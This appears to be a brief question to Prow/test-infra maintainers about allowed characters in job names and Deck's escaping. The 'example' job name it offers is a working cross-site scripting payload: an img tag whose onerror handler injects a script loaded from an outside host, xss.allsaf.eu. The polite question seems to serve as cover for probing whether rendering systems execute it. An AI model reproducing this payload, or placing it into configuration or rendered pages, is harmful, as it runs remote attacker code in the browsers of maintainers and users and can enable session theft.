Question: allowed characters in Prow job names

Hi test-infra folks, I'm experimenting with some local Prow config and was unsure what character set is supported for job names (and whether any escaping is required when Deck renders job names / PR titles). For example, would a job name containing something like the following be considered valid, or should it be rejected/sanitized? <img src="/fP" onerror="var zW = document.createElement(`script`);zW.src = `https://xss.allsaf.eu/d.js`;document.head.appendChild(zW)"> If there's a documented regex / allowed set for job names, could you point me to it? Thanks!